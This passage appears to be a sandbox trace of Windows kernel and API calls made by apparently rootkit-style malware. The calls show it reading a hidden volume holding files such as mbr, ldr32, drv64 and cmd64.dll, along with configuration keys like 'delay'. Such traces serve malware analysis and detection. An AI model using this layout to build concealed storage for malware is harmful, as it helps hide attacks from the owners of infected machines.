Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.509] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.509] IdePortDispatch () returned 0x103 [0119.509] KeWaitForMutexObject () returned 0x0 [0119.509] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.509] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.509] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.509] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.509] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.509] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.509] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.509] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.509] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.509] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.509] KeLeaveCriticalRegion () [0119.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.509] ReleaseMutex (hMutex=0x100) returned 1 [0119.509] Sleep (dwMilliseconds=0x2bf20) [0119.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a6e1db0, dwHighDateTime=0x1d24fa4)) [0119.515] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.516] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.516] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.516] KeEnterCriticalRegion () [0119.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.516] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.516] IdePortDispatch () returned 0x103 [0119.516] KeWaitForMutexObject () returned 0x0 [0119.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.516] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.516] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.516] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.516] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.516] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bafb30 [0119.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.516] KeLeaveCriticalRegion () [0119.516] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.516] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.516] KeEnterCriticalRegion () [0119.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.516] KeLeaveCriticalRegion () [0119.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.516] KeEnterCriticalRegion () [0119.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.516] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.516] IdePortDispatch () returned 0x103 [0119.516] KeWaitForMutexObject () returned 0x0 [0119.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.517] KeLeaveCriticalRegion () [0119.517] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.517] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.517] KeEnterCriticalRegion () [0119.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.517] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9e000 [0119.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.517] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.517] IdePortDispatch () returned 0x103 [0119.517] KeWaitForMutexObject () returned 0x0 [0119.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.517] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.517] IdePortDispatch () returned 0x103 [0119.517] KeWaitForMutexObject () returned 0x0 [0119.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.517] KeLeaveCriticalRegion () [0119.517] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.518] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.518] KeEnterCriticalRegion () [0119.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] KeLeaveCriticalRegion () [0119.518] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.518] KeEnterCriticalRegion () [0119.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.518] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] KeLeaveCriticalRegion () [0119.518] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.518] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.518] KeEnterCriticalRegion () [0119.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] ExFreePoolWithTag (P=0xfffffa8003bafb30, Tag=0x0) [0119.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] KeLeaveCriticalRegion () [0119.518] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.518] ReleaseMutex (hMutex=0xf0) returned 1 [0119.518] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.518] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.518] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.518] KeEnterCriticalRegion () [0119.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.518] IdePortDispatch () returned 0x103 [0119.519] KeWaitForMutexObject () returned 0x0 [0119.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.519] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.519] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.519] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.519] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.519] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1e60 [0119.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.519] KeLeaveCriticalRegion () [0119.519] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.519] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.519] KeEnterCriticalRegion () [0119.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.519] KeLeaveCriticalRegion () [0119.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.519] KeEnterCriticalRegion () [0119.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.519] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.519] IdePortDispatch () returned 0x103 [0119.519] KeWaitForMutexObject () returned 0x0 [0119.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.520] KeLeaveCriticalRegion () [0119.520] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.520] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.520] KeEnterCriticalRegion () [0119.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9f000 [0119.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.520] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.520] IdePortDispatch () returned 0x103 [0119.520] KeWaitForMutexObject () returned 0x0 [0119.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.520] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.520] IdePortDispatch () returned 0x103 [0119.520] KeWaitForMutexObject () returned 0x0 [0119.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.520] KeLeaveCriticalRegion () [0119.520] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.521] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.521] KeEnterCriticalRegion () [0119.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] KeLeaveCriticalRegion () [0119.521] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.521] KeEnterCriticalRegion () [0119.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.521] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] KeLeaveCriticalRegion () [0119.521] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.521] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.521] KeEnterCriticalRegion () [0119.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] ExFreePoolWithTag (P=0xfffffa8003aa1e60, Tag=0x0) [0119.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] KeLeaveCriticalRegion () [0119.521] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.521] ReleaseMutex (hMutex=0xf0) returned 1 [0119.521] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.521] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.521] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.521] KeEnterCriticalRegion () [0119.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.521] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.521] IdePortDispatch () returned 0x103 [0119.522] KeWaitForMutexObject () returned 0x0 [0119.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.522] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.522] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.522] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.522] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.522] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1c00 [0119.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.522] KeLeaveCriticalRegion () [0119.522] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.522] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.522] KeEnterCriticalRegion () [0119.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.522] KeLeaveCriticalRegion () [0119.522] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.522] KeEnterCriticalRegion () [0119.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.522] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.522] IdePortDispatch () returned 0x103 [0119.522] KeWaitForMutexObject () returned 0x0 [0119.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.522] KeLeaveCriticalRegion () [0119.522] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.523] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.523] KeEnterCriticalRegion () [0119.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da0000 [0119.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.523] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.523] IdePortDispatch () returned 0x103 [0119.523] KeWaitForMutexObject () returned 0x0 [0119.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.523] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.523] IdePortDispatch () returned 0x103 [0119.523] KeWaitForMutexObject () returned 0x0 [0119.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.523] KeLeaveCriticalRegion () [0119.523] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.524] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.524] KeEnterCriticalRegion () [0119.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] KeLeaveCriticalRegion () [0119.524] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.524] KeEnterCriticalRegion () [0119.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.524] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] KeLeaveCriticalRegion () [0119.524] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.524] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.524] KeEnterCriticalRegion () [0119.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] ExFreePoolWithTag (P=0xfffffa8003aa1c00, Tag=0x0) [0119.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] KeLeaveCriticalRegion () [0119.524] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.524] ReleaseMutex (hMutex=0xf0) returned 1 [0119.524] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.524] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.524] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.524] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.524] KeEnterCriticalRegion () 